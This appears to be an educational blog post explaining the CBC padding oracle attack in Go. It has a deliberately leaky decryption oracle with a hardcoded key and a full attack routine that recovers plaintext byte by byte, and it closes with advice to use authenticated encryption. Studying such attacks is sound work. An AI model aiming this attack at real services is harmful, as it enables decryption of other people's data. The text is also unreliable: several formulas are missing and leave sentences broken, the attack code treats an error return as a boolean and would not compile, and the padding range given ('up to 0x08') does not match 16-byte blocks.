Crypto Pills #19: Padding Oracle Attack in Go

The Padding Oracle attack is a classical exploit of a vulnerability in CBC-mode encryption when an application reveals information about padding correctness during decryption. The information whether the padding is correct can be directly given, or leaked through a side-channel.

The Padding Oracle

The implementation below follows a typical implementation of CBC decryption in block cipher mode that first decrypts all ciphertext blocks, then validates and removes the PKCS7 padding. For the purpose of this demonstration, the plaintext is obviously not returned. Instead, consider that the “server” explicitly returns “invalid padding” error instead of a generic “decryption failed” error.

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
)

var key = []byte("examplekey123456")

func paddingOracle(ciphertext []byte) error {
    block, err := aes.NewCipher(key)
    if err != nil {
        return err
    }

    if len(ciphertext) < block.BlockSize() ||
        len(ciphertext)%block.BlockSize() != 0 {
        return fmt.Errorf("invalid ciphertext")
    }

    // IV is the first block of the ciphertext
    iv := ciphertext[:block.BlockSize()]
    ciphertext = ciphertext[block.BlockSize():]

    // Decrypt and check if the PKCS#7 padding is correct
    plaintext := make([]byte, len(ciphertext))
    cipher.NewCBCDecrypter(block, iv).CryptBlocks(plaintext, ciphertext)
    if !isPaddingValid(plaintext) {
        return fmt.Errorf("invalid padding")
    }

    return nil
}

func isPaddingValid(data []byte) bool {
    length, padding := len(data), int(data[length-1])
    if padding > length || padding == 0 {
        return false
    }
    for _, v := range data[length-padding:] {
        if int(v) != padding {
            return false
        }
    }
    return true
}

In CBC decryption mode, each ciphertext block is decrypted, and the result is XORed with the previous ciphertext block (or the IV for the first block) to retrieve the plaintext, or

where C₀ = IV.

Notice that in this scheme, a single-byte modification in block C₁​ will make a corresponding change to a single byte of P₂.

The Attack

Suppose the attacker has two ciphertext blocks C₁ and C₂ and wants to decrypt the second block to obtain the plaintext P₂​. The attacker manipulates the last byte of C₁​, creating M₁​, and sends {IV, M₁, C₂} to the server. The server indicates whether the padding of the decrypted block P₂′ is valid according to PKCS#7.

If the padding is valid, the attacker learns that

ends with 0x01, or the last two bytes are 0x02, or the last three bytes are 0x03, and so on, up to 0x08.

Using this approach, the last byte of

can be M₁ ⊕ 0x01. If the padding is invalid, the attacker continues adjusting the last byte of M₁​ until a valid padding is found. At most, this requires 256 attempts.

Once the last byte of P₂ is known, the attacker can repeat the process for each next byte in the block until the plaintext is fully revealed.

Given a block size of 128 bits (16 bytes, as in AES-128), the attacker can decrypt P₂​ in no more than 256 × 16 = 4096 attempts. This is exponentially faster than brute-forcing a 128-bit key, which would require 2¹²⁸ attempts.

The Go code below demonstrates the attack as described:

const blockSize = aes.BlockSize // AES block size: should be known in advance

func paddingOracleAttack(ciphertext []byte) []byte {
    // Separate the IV from the ciphertext
    iv, ciphertext := ciphertext[:blockSize], ciphertext[blockSize:]
    plaintext := make([]byte, len(ciphertext))

    // Process each block in reverse order
    for i := len(ciphertext) / blockSize-1; i >= 0; i-- {
        // Get the current ciphertext block
        block := ciphertext[i*blockSize:(i+1)*blockSize]
        decrypted := make([]byte, blockSize)
        inter := make([]byte, blockSize)

        // Decrypt each byte of the block
        for j := blockSize-1; j >= 0; j-- {
            pad := byte(blockSize-j)

            // Create a modified IV with the guessed intermediate bytes
            modIV := make([]byte, blockSize)
            copy(modIV, iv[:j])
            copy(modIV[j+1:], xor(inter[j+1:], pad))

            // Brute force the byte until the padding is valid
            for guess := 0; guess < 256; guess++ {
                modIV[j] = byte(guess)
                if paddingOracle(append(modIV, block...)) {
                    // Derive intermediate and decrypted bytes
                    inter[j] = byte(guess) ^ pad
                    decrypted[j] = inter[j] ^ iv[j]
                    break
                }
            }
        }

        // Copy the decrypted block to the plaintext
        copy(plaintext[i*blockSize:], decrypted)
        iv = block // Update IV for the next block
    }

    // Remove PKCS#7 padding from the plaintext
    plaintext, _ = removePKCS7Padding(plaintext)
    return plaintext
}

func xor(data []byte, value byte) []byte {
    out := make([]byte, len(data))
    for i := range data {
        out[i] = data[i] ^ value
    }
    return out
}

In a real scenario, the paddingOracle function can be replaced by a remote function call or an HTTP request, and network latency will increase the time taken to break the ciphertext. Rate-limiting can reduce the velocity in which ciphertexts are cracked, but it never fully remediates the problem.

Notice also that the paddingOracle isn't typically implemented as showed. Instead, it can be a longer request processing function, where the decryption is just part of the process, but which returns error messages where the attacker can distinguish the PKCS#7 validation error. Also if processing time can be accurately calculated, it is possible to know the validation error from response times rather than from error messages.

Conclusion

The article shows a practical implementation of a padding oracle attack in Go, a cryptographic vulnerability that exploits improper error handling in padding validation. By modifying ciphertext blocks and leveraging the server's feedback, an attacker can decrypt any ciphertext without knowing the encryption key.

This implementation highlights the importance of robust cryptographic practices, particularly the need to avoid exposing padding validation errors and to implement authenticated encryption schemes, such as AES-GCM, which provide both confidentiality and integrity.